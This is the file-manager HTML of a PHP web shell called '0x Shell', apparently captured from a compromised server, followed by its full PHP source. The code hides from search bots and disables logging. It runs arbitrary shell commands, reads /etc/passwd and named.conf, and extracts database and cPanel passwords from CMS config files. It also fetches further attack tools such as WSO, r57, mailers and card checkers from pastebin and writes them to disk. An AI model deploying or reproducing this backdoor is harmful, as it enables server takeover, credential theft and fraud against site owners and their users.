src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFUSURBVDiNpZK9SgNBFIXPvXNndjcRopX4U4kWVr5AChU7H8BSfItAHkB9CXsrW0GwEQtRwVKMRtAU8ZcYWaNmM2OxqyyiYZdcGIaZ4Z77MeeQcw6DFA/UDUAAYHHj8hOATj9oRSe2Z1f2KjP1fgLknMPS5lW0Vi4pZopvHXDW+IhOr99gXTzkr9qvTBMtrNd8AsLVcomZKDP61kELihGIJ9QBgO2jdsIE/Jb5OacGFAwDQEeMEOZnh1EqMChtSB8a64BW2MNh7QVihCGKcNHswmZ0lAkYHxF4QhBPCKIYRU9l605KmGCEIUYztCYMBfkEjGZ4OiHwRQF+vkQG+ptACIFREJVPQAvFf+BrjoyQ+CZfqq118DRFEhjebbbel6dGiyTqf+vSrkaRQ/0utL7mHXl9vq+eP3Unbh/H5gDKiOF67YebY0dSJcRBm0z2rFl2yWp8AVDIW32da7pLAAAAAElFTkSuQmCC">  .</a>



<form method="post" id="._form" class="sembunyi" style="margin:0;padding:0;">
			<input type="hidden" name="oldname" value="." style="margin:0;padding:0;">
			<input class="inputz" style="width:200px;" type="text" name="fol_rename" value=".">
			<input class="inputzbut" type="submit" name="dir_rename" value="rename">
			<input class="inputzbut" type="button" name="cancel" value="cancel" onclick="tukar('._form','._link');">
			</form>




			</td>



			<td class="td_home"><center>dir</center></td><td class="td_home"><center>-</center></td><td class="td_home"><center><font color="lime">drwxrwxrwx</font></center></td><td class="td_home">February 12 2023 9:16:04</td><td class="td_home" style="padding-left: 15px;"><span id="titik1">
			<a href="?act=edit&amp;dir=/var/www/html&amp;file=/var/www/html/newfile.php">newfile</a> | <a href="javascript:tukar('titik1','titik1_form');">newfolder</a></span>
			<form action="?act=newfolder&amp;dir=/var/www/html" method="post" id="titik1_form" class="sembunyi" style="margin:0;padding:0;">

			<input class="inputz" style="width:130px;" type="text" name="newfolder" placeholder="new_folder">
			<input class="inputzbut" type="submit" name="new_save_folder" style="width:35px;" value="Go !">
			</form></td></tr><tr class="filetr"><td class="td_home"><a id=".._link" href="?dir=/var/www"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFUSURBVDiNpZK9SgNBFIXPvXNndjcRopX4U4kWVr5AChU7H8BSfItAHkB9CXsrW0GwEQtRwVKMRtAU8ZcYWaNmM2OxqyyiYZdcGIaZ4Z77MeeQcw6DFA/UDUAAYHHj8hOATj9oRSe2Z1f2KjP1fgLknMPS5lW0Vi4pZopvHXDW+IhOr99gXTzkr9qvTBMtrNd8AsLVcomZKDP61kELihGIJ9QBgO2jdsIE/Jb5OacGFAwDQEeMEOZnh1EqMChtSB8a64BW2MNh7QVihCGKcNHswmZ0lAkYHxF4QhBPCKIYRU9l605KmGCEIUYztCYMBfkEjGZ4OiHwRQF+vkQG+ptACIFREJVPQAvFf+BrjoyQ+CZfqq118DRFEhjebbbel6dGiyTqf+vSrkaRQ/0utL7mHXl9vq+eP3Unbh/H5gDKiOF67YebY0dSJcRBm0z2rFl2yWp8AVDIW32da7pLAAAAAElFTkSuQmCC">  ..</a>



<form method="post" id=".._form" class="sembunyi" style="margin:0;padding:0;">
			<input type="hidden" name="oldname" value=".." style="margin:0;padding:0;">
			<input class="inputz" style="width:200px;" type="text" name="fol_rename" value="..">
			<input class="inputzbut" type="submit" name="dir_rename" value="rename">
			<input class="inputzbut" type="button" name="cancel" value="cancel" onclick="tukar('.._form','.._link');">
			</form>




			</td>



			<td class="td_home"><center>dir</center></td><td class="td_home"><center>-</center></td><td class="td_home"><center><font color="lime">drwxrwxrwx</font></center></td><td class="td_home">February 12 2023 9:16:04</td><td class="td_home" style="padding-left: 15px;"><span id="titik2"><a href="?act=edit&amp;dir=/var/www/html&amp;file=/var/www/html/newfile.php">newfile</a> | <a href="javascript:tukar('titik2','titik2_form');">newfolder</a></span>
			<form action="?act=newfolder&amp;dir=/var/www/html" method="post" id="titik2_form" class="sembunyi" style="margin:0;padding:0;">

			<input class="inputz" style="width:130px;" type="text" name="newfolder" placeholder="new_folder">
			<input class="inputzbut" type="submit" name="new_save_folder" style="width:35px;" value="Go !">
			</form></td></tr><tr class="filetr"><td class="td_home">



			<a id="beneri.se_malware_analysis_link" href="?act=view&amp;dir=/var/www/html&amp;file=/var/www/html/beneri.se_malware_analysis"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=">  beneri.se_malware_analysis</a>

	<form method="post" id="beneri.se_malware_analysis_form" class="sembunyi" style="margin:0;padding:0;">
		<input type="hidden" name="oldname" value="beneri.se_malware_analysis" style="margin:0;padding:0;">
		<input class="inputz" style="width:200px;" type="text" name="rename" value="beneri.se_malware_analysis">
		<input type="submit" name="do_rename" value="rename">
		<input class="inputzbut" type="button" name="cancel" value="cancel" onclick="tukar('beneri.se_malware_analysis_form','beneri.se_malware_analysis_link');">
	</form>



			</td><td class="td_home"><center>file</center></td><td class="td_home"><center>0KB</center></td><td class="td_home"><center><font color="red">-rw-r--r--</font></center></td><td class="td_home">February 12 2023 9:16:04</td><td class="td_home" style="padding-left: 15px;"><a href="?act=edit&amp;dir=/var/www/html&amp;file=/var/www/html/beneri.se_malware_analysis">edit</a> | <a href="javascript:tukar('beneri.se_malware_analysis_link','beneri.se_malware_analysis_form');">rename</a> | <a href="?act=delete&amp;dir=/var/www/html&amp;file=/var/www/html/beneri.se_malware_analysis">delete</a> | <a href="?act=download&amp;dir=/var/www/html&amp;file=/var/www/html/beneri.se_malware_analysis">download</a></td></tr><tr class="filetr"><td class="td_home">



			<a id="del.php_link" href="?act=view&amp;dir=/var/www/html&amp;file=/var/www/html/del.php"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=">  del.php</a>

	<form method="post" id="del.php_form" class="sembunyi" style="margin:0;padding:0;">
		<input type="hidden" name="oldname" value="del.php" style="margin:0;padding:0;">
		<input class="inputz" style="width:200px;" type="text" name="rename" value="del.php">
		<input type="submit" name="do_rename" value="rename">
		<input class="inputzbut" type="button" name="cancel" value="cancel" onclick="tukar('del.php_form','del.php_link');">
	</form>



			</td><td class="td_home"><center>file</center></td><td class="td_home"><center>117.915KB</center></td><td class="td_home"><center><font color="red">-rw-rw-r--</font></center></td><td class="td_home">February 12 2023 9:16:04</td><td class="td_home" style="padding-left: 15px;"><a href="?act=edit&amp;dir=/var/www/html&amp;file=/var/www/html/del.php">edit</a> | <a href="javascript:tukar('del.php_link','del.php_form');">rename</a> | <a href="?act=delete&amp;dir=/var/www/html&amp;file=/var/www/html/del.php">delete</a> | <a href="?act=download&amp;dir=/var/www/html&amp;file=/var/www/html/del.php">download</a></td></tr></tbody></table>
				<div style="background:#282828;border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-left-radius:4px;-moz-border-bottom-left-radius:4px;-webkit-border-bottom-left-radius:4px;height:25px;margin:0px 0px 10px 0px;width:1000px;">
					<center>
						Copyright © 2017 - 0x1999 </center></div>

				
				

	</div></body></html>

Original PHP code

<?php

// 0x1999 Private Shell
// Use your own risk
// Hard coded by 0x1999

// Start Bots Locked
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {header('HTTP/1.0 404 Not Found');exit;}
// End //Bots Locked

// Start configuration

$shell_name            = '0x Shell';
$shell_slogan          = 'The Next JanCox Shell';
$shell_version         = '1.1';
$shell_bypass_security = '0';
$show_error            = "0";

@session_start();
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
// @ini_set("allow_url_fopen", 1);
// @ini_set("allow_url_include", 1);
@set_time_limit(0);

// @set_magic_quotes_runtime(0);
// End configuration

// start init
if ($show_error == "0") {
    @error_reporting(0);
    @error_log(0);
    @ini_set('error_log', null);
    @ini_set('log_errors', 0);
    @ini_set('display_errors', 0);
} else {
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    error_reporting(E_ALL);
}

if (!function_exists('posix_getegid')) {
    $user  = @get_current_user();
    $uid   = @getmyuid();
    $gid   = @getmygid();
    $group = "?";
} else {
    $uid   = @posix_getpwuid(posix_geteuid());
    $gid   = @posix_getgrgid(posix_getegid());
    $user  = $uid['name'];
    $uid   = $uid['uid'];
    $group = $gid['name'];
    $gid   = $gid['gid'];
}
if (@is_dir("/home/$user/public_html/")) {
    $server_type = "public_html";
} elseif (@is_dir("/var/www/vhosts/")) {
    $server_type = "vhost";
} else {
    $server_type = "unknown";
}

//end init

//start config list
$ext        = array("v1", "v2", "v3", "wp", "WP", "blog", "client", "clients", "forum", "forums", "home", "new", "old", "site", "portal", "test", "demo", "wordpress", "joomla", "beta", "news", "main", "shop", "mage", "magento", "sites", "cms", "secure", "support", "panel", "public");
$configtype = array(
    "/wp-config.php"                   => "Wordpress",
    "/config/koneksi.php"              => "Lokomedia",
    "/forum/config.php"                => "phpBB",
    "/sites/default/settings.php"      => "Drupal",
    "/config/settings.inc.php"         => "PrestaShop",
    "/app/etc/local.xml"               => "Magento",
    "/admin/config.php"                => "OpenCart",
    "/application/config/database.php" => "Ellislab",
    "/configuration.php"               => "Joomla",
    "/submitticket.php"                => "WHMCS",
    "/config.php"                      => "OtherConfig",
    "/db.php"                          => "DB",
    "/db.inc.php"                      => "DBInc",
    "/database.php"                    => "Database",
    "/includes/config.php"             => "Vbulletin",
    "/db/config.php"                   => "DBConfig",
);
//end config list

//start head process
if (isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
    @ob_clean();
    $file = $_GET['file'];
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}
if (isset($_GET['dir']) && ($_GET['dir'] != "")) {
    $dir = $_GET['dir'];
    chdir($_GET['dir']);
} else {
    $dir = getcwd();
}
if (isset($_POST['upload'])) {
    if (@copy($_FILES['0xfile']['tmp_name'], "$dir/" . $_FILES['0xfile']['name'] . "")) {
        $actx = "<font color=lime>Uploaded!</font> at <i><b>$dir/" . $_FILES['0xfile']['name'] . "</b></i>";
    } else {
        $actx = "<font color=red>failed to upload file</font>";
    }
} else {
    $actx = "";
}
//end head process
?>
	<!DOCTYPE html>
	<html>
	<style stype="text/css">
		@import url(https://fonts.googleapis.com/css?family=Abel|Baumans);
		body {
			background: #101010;
			color: #f2f2f2;
			font-family: Abel;
			font-size: 12px;
		}

		body a {
			color: #3467BA;
			text-decoration: none;
		}

		body a:hover {
			text-decoration: underline;
		}

		#main_content {
			border: 1px solid #5C7296;
			overflow: hidden;
			width: 1000px;
			height: auto;
			padding: 15px;
			margin: 0 auto;
			background: #0A0A0A;
			border-radius: 6px;
			-moz-border-radius: 6px;
			-webkit-border-radius: 6px;
		}

		.enabled {
			color: #7ACC29;
		}

		.enabled a {
			color: #7ACC29;
			font-weight: normal;
		}

		.disabled {
			color: #CC0000;
		}

		.TableHeader_Name {
			width: 400px;
			padding: 0px 0px 0px 5px;
			height: 25px;
			font-family: Abel;
			background-color: #282828;
			border-top-left-radius: 4px;
			-moz-border-top-left-radius: 4px;
			-webkit-border-top-left-radius: 4px;
		}

		.TableHeader {
			width: 100px;
			height: 25px;
			font-family: Abel;
			text-align: center;
			background-color: #282828;
		}

		.TableHeaderoptions {
			padding: 0px 0px 0px 15px;
			width: 200px;
			height: 25px;
			font-family: Abel;
			background-color: #282828;
			border-top-right-radius: 4px;
			-moz-border-top-right-radius: 4px;
			-webkit-border-top-right-radius: 4px;
		}

		.TableLast {
			padding: 0px 0px 0px 15px;
			width: 200px;
			height: 25px;
			font-family: Abel;
			background-color: #282828;
			border-top-right-radius: 4px;
			-moz-border-top-right-radius: 4px;
			-webkit-border-top-right-radius: 4px;
		}

		.filesize {
			color: green;
			text-align: center;
		}

		.filenames a {
			font-weight: normal;
			text-decoration: none;
		}

		.filenames a:hover {
			text-decoration: underline;
		}

		.filetr {
			background-color: #080808;
		}

		.filetr:hover {
			background-color: #282828;
		}

		#options {
			font-weight: 200;
			font-family: Abel;
			margin-left: 10px;
			display: block;
		}

		#title {
			font-size: 25px;
			font-family: arial;
			display: block;
			padding: 15px 0px 0px 0px;
		}

		.box {
			padding: 10px;
			background-color: #292929;
			border: 1px solid #3467BA;
			height: auto;
			width: 970;
			border-radius: 6px;
			-moz-border-radius: 6px;
			-webkit-border-radius: 6px;
		}

		.sembunyi {
			display: none;
			padding: 0;
			margin: 0;
		}

		textarea {
			background-color: #010101;
			color: #f2f2f2;
			border: 1px solid #3467BA;
			outline: none;
			font-size: 11px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			padding: 5px;
			width: 970px;
			height: 400px;
		}

		input[type=text],
		input[type=password],
		input[type=submit],
		input[type=button] {
			background: #010101;
			color: #f2f2f2;
			margin: 0 4px;
			border: 1px solid #3467BA;
			outline: none;
			font-size: 11px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			font-family: Abel;
			font-size: 12px;
		}

		.viewfile {
			background: #EDECEB;
			color: #000000;
			margin: 4px 2px;
			padding: 8px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			border: 1px solid #3467BA;
		}

		select {
			color: #f2f2f2;
			padding: 0;
			margin: 0;
			border: 1px solid #3467BA;
			outline: none;
			font-size: 11px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			background: #010101;
			overflow: hidden;
			font-family: Abel;
			font-size: 12px;
		}

		input[type="file"] {
			color: #f2f2f2;
			padding: 0;
			margin: 0;
			border: 1px solid #3467BA;
			outline: none;
			font-size: 11px;
			border-radius: 3px;
			-moz-border-radius: 3px;
			-webkit-border-radius: 3px;
			background: #010101;
			overflow: hidden;
			font-family: Abel;
			font-size: 12px;
		}

		.ndelik {
			display: none;
			padding: 0;
			margin: 0;
		}

		form,
		table {
			/*display: inline;*/
			margin: 0px;
			padding: 0px;
		}
	</style>

	<script type="text/javascript">
		function tukar(lama, baru) {
			document.getElementById(lama).style.display = 'none';
			document.getElementById(baru).style.display = 'block';
		}
	</script>

	<link href="http://vignette2.wikia.nocookie.net/regularshow/images/f/fc/Emoticones_-_Pacman.png/revision/latest?cb=20160107170905&amp;path-prefix=es" rel="icon" type="image/x-icon">

	<?php

$ling    = "http://" . $_SERVER['SERVER_NAME'] . "" . $_SERVER['PHP_SELF'] . "?create";
$dir     = str_replace("\\", "/", $dir);
$scdir   = explode("/", $dir);
$ds      = @ini_get("disable_functions");
$show_ds = (!empty($ds)) ? "<input type='text' name='searchterm' size='30'style='background-color: rgb(41, 41, 41);border: 1px solid rgb(41, 41, 41);height: 12px;color: red;width: 385px;'value='$ds'readonly/>" : "<font color=lime>NONE</font>";
echo "<title>$shell_name</title>";

if (isset($_GET['create'])) {
    function CreateTools($names, $lokasi)
    {
        if ($_GET['create'] == $names) {
            $a = "" . $_SERVER['SERVER_NAME'] . "";
            $b = dirname($_SERVER['PHP_SELF']);
            $c = "/0x1/" . $names . ".php";
            if (file_exists('0x1/' . $names . '.php')) {
                echo '<script type="text/javascript">alert("Done");window.location.href = "0x1/' . $names . '.php";</script> ';
            } else {
                mkdir("0x1", 0777);
                file_put_contents('0x1/' . $names . '.php', file_get_contents($lokasi));
                echo ' <script type="text/javascript">alert("Done");window.location.href = "0x1/' . $names . '.php";</script> ';}}
    }
    CreateTools("wso", "http://pastebin.com/raw/3eh3Gej2");
    CreateTools("adminer" . "https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
    CreateTools("maildump", "http://pastebin.com/raw/JLjrTs40");
    CreateTools("injection", "http://pastebin.com/raw/nxxL8c1f");
    CreateTools("promailerv2", "http://pastebin.com/raw/Rk9v6eSq");
    CreateTools("gamestopceker", "http://pastebin.com/raw/QSnw1JXV");
    CreateTools("bukapalapak", "http://pastebin.com/raw/6CB8krDi");
    CreateTools("tokopedia", "http://pastebin.com/dvhzWgby");
    CreateTools("encodedecode", "http://pastebin.com/raw/wqB3G5eZ");
    CreateTools("mailer", "http://pastebin.com/raw/9yu1DmJj");
    CreateTools("r57", "http://pastebin.com/raw/G2VEDunW");
    CreateTools("tokenpp", "http://pastebin.com/raw/72xgmtPL");
    CreateTools("extractor", "http://pastebin.com/raw/jQnMFHBL");
    CreateTools("bh", "http://pastebin.com/raw/3L2ESWeu");
    CreateTools("dhanus", "http://pastebin.com/raw/v4xGus6X");
}

//Start Function
function permissions($file)
{

    $perms = @fileperms($file);
    if (($perms & 0xC000) == 0xC000) {
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        $info = 'p';
    } else {
        $info = 'u';
    }
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
        (($perms & 0x0800) ? 's' : 'x') :
        (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
        (($perms & 0x0400) ? 's' : 'x') :
        (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
        (($perms & 0x0200) ? 't' : 'x') :
        (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}
function UrlLoop($url, $type)
{
    $urlArray = array();
    $ch       = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($ch);
    $regex  = '|<a.*?href="(.*?)"|';
    preg_match_all($regex, $result, $parts);
    $links = $parts[1];
    foreach ($links as $link) {
        array_push($urlArray, $link);
    }
    curl_close($ch);
    foreach ($urlArray as $value) {
        $lol = "$url$value";
        if (preg_match("#$type#is", $lol)) {
            echo "$lol\r\n";
        }
    }
}

function anucurl($sites)
{
    $ch = curl_init($sites);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIESESSION, true);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
}
function clearspace($text)
{
    return str_replace(" ", "_", $text);
}
function magicboom($text)
{
    if (!get_magic_quotes_gpc()) {
        return $text;
    }
    return stripslashes($text);
}
function ambilKata($param, $kata1, $kata2)
{
    if (strpos($param, $kata1) === false) {
        return false;
    }

    if (strpos($param, $kata2) === false) {
        return false;
    }

    $start  = strpos($param, $kata1) + strlen($kata1);
    $end    = strpos($param, $kata2, $start);
    $return = substr($param, $start, $end - $start);
    return $return;
}
function ambil_password($link)
{
    $pass  = "";
    $ch       = curl_init();
    curl_setopt($ch, CURLOPT_URL, $link);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $ambil = curl_exec($ch);
    // $ambil = file_get_contents($link);
    if (preg_match("/WordPress/", $ambil)) {
        $pass .= ambilkata($ambil, "DB_PASSWORD', '", "'") . "\n";
    } elseif (preg_match("/JConfig|joomla/", $ambil)) {
        $pass .= ambilkata($ambil, "password = '", "'") . "\n";
    } elseif (preg_match("/cmsmember/", $ambil)) {
        $pass .= ambilkata($ambil, 'dbpasswd = "', '"') . "\n";
    } elseif (preg_match("/Magento|Mage_Core/", $ambil)) {
        $pass .= ambilkata($ambil, "<password><![CDATA[", "]]></password>") . "\n";
    } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
        $pass .= ambilkata($ambil, 'password = "', '"') . "\n";
    } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
        $pass .= ambilkata($ambil, "'DB_PASSWORD', '", "'") . "\n";
    } elseif (preg_match("/client/", $ambil)) {
        preg_match("/password=(.*)/", $ambil, $pass1);
        if (preg_match('/"/', $pass1[1])) {
            $pass1[1] = str_replace('"', "", $pass1[1]);
            $pass .= $pass1[1] . "\n";
        }
    } elseif (preg_match("/cc_encryption_hash/", $ambil)) {
        $pass .= ambilkata($ambil, "db_password = '", "'") . "\n";
    }
    return $pass;
}
function w($dir, $perm)
{
    if (!is_writable($dir)) {
        return "<font color=red>" . $perm . "</font>";
    } else {
        return "<font color=lime>" . $perm . "</font>";
    }
}
function cekjum($kentu)
{

    // $it = new RecursiveIteratorIterator($kentu,RecursiveDirectoryIterator::SKIP_DOTS);
    $it = new RecursiveIteratorIterator
        (
        new RecursiveDirectoryIterator($kentu)
    );
    // if($it-> DirectoryIterator::isDot()){
    //     echo "cok";
    // }

    // $index = array_search('..',$it);
    // if($index !== FALSE){
    //     unset($it[$index]);
    // }

    foreach ($it as $filename) {
        $file = realpath(dirname($filename));
        if ($file == "..") {
            continue;
        }
        if (is_writable($filename)) {

            $perm  = permissions($file);
            $perm  = w($file, $perm);
            $permd = permissions($filename);
            $permd = w($filename, $permd);

            if (is_dir($filename)) {
                if (is_writable($file)) {
                    echo "[ D ] [$perm]\t\t<a href='?dir=$file'>$file</a><font color='lime'>is writable</font><br>";
                }
            } else {
                if (is_writable($filename)) {
                    echo "[ F ] [$permd]\t\t<a href='?act=edit&dir=$file&file=$filename'>$filename</a><font color='lime'>is writable</font><br>";
                }
            }

        }
    }
}
function exe($cmd)
{
    if (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('exec')) {
        @exec($cmd, $results);
        $buff = "";
        foreach ($results as $result) {
            $buff .= $result;
        }
        return $buff;
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('shell_exec')) {
        $buff = @shell_exec($cmd);
        return $buff;
    }
}

//End Function

//start bypasser

// $etcpasswd = etcpasswd();

if ($_SESSION['etcpasswd']) {
    $etcpasswd = $_SESSION['etcpasswd'];
} else {
    $etcpasswd = @file_get_contents('/etc/passwd');
    if (!$etcpasswd) {
        $etcpasswd = exe('cat /etc/passwd');
    }
}

// end bypasser

/////////////////////////////////////
if (!$_SESSION["cekown"] == "pass") {
    $own = @file('/etc/trueuserowners');
    foreach ($own as $owns) {
        $exp    = explode(": ", $owns);
        $string = trim(preg_replace('/\s+/', ' ', $exp[1]));
        if ($string == $user) {
            $_SESSION["statusowner"] = "OWNER";
        }
        if ($exp[0] == $user) {
            $_SESSION["statusclientus"] = $exp[0];
            $_SESSION["statusclient"]   = $exp[1];
        }
        $_SESSION["cekown"] = "pass";
    }
}

if ($_SESSION["statusowner"] == "OWNER") {
    $trueowner = $_SESSION["statusowner"];
    $trueowner = "<font color=lime>$trueowner</font>";
} else {
    $trueowner = "<font color=red>error</font>";
}
if ($_SESSION["statusclientus"] == $user) {
    $trueuser = $_SESSION["statusclient"];
    $trueuser = " <font color=lime>$trueuser</font>";
} else {
    $trueuser = "<font color=red>error</font>";
}

$sport   = $_SERVER['SERVER_PORT'];
$d0mains = @file("/etc/named.conf");
$users   = $etcpasswd;
if ($d0mains) {
    $count;
    foreach ($d0mains as $d0main) {
        if (@ereg("zone", $d0main)) {
            preg_match_all('#zone "(.*)"#', $d0main, $domains);
            flush();
            if (strlen(trim($domains[1][0])) > 2) {
                flush();
                $count++;
            }
        }
    }
    $count2 = $count / 2;
} else {
    $count2 = "??";
}
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
echo "
	<body>
	<div id='main_content'><span id='title'><font face='Baumans'>$shell_name</font> </span><i>$shell_slogan</i><br><br><div class='box'>
";
echo '
<table  cellspacing="0" cellpadding="0">
<colgroup>
<col style="width: 499px">
<col style="width: 599px">
</colgroup>
  <tr>
    <td nowrap>Server Name:' . php_uname() . '</td>
<td align="right"><form><div class="select-style">
<select onchange="if (this.value) window.open(this.value);">
   <option selected="selected" value=""> <i>Tools Creator </option>
   <option value="' . $ling . '=wso"><i>WSO 2.8.1</option>
</select>
<select onchange="if (this.value) window.open(this.value);">
   <option selected="selected" value=""> Tools Carder </option>
   <option value="' . $ling . '=maildump">Email Dumper</option>
   </select></div>
<noscript><input type="submit" value="Submit"></noscript>
</form></td>
  </tr>
  <tr>
    <td>User :<font color=lime>' . $user . '</font> (' . $uid . ') Group : <font color=lime>' . $group . '</font> (' . $gid . ') Owner : (' . $trueowner . ') UserOwner : (' . $trueuser . ')</td>
    <td align="right">';
if ($server_type == "public_html") {
    if (file_exists('/home/' . $user . '/.my.cnf')) {
        $cp = file_get_contents('/home/' . $user . '/.my.cnf');
        $cp = ambilkata($cp, 'password="', '"');
        echo 'Cpanel : Username <font color="lime">(</font>' . $user . '<font color="lime">)</font> Password <font color="lime">(</font>' . $cp . '<font color="lime">)</font>';
    }}
echo '
    </td>
    </tr>
    <tr>
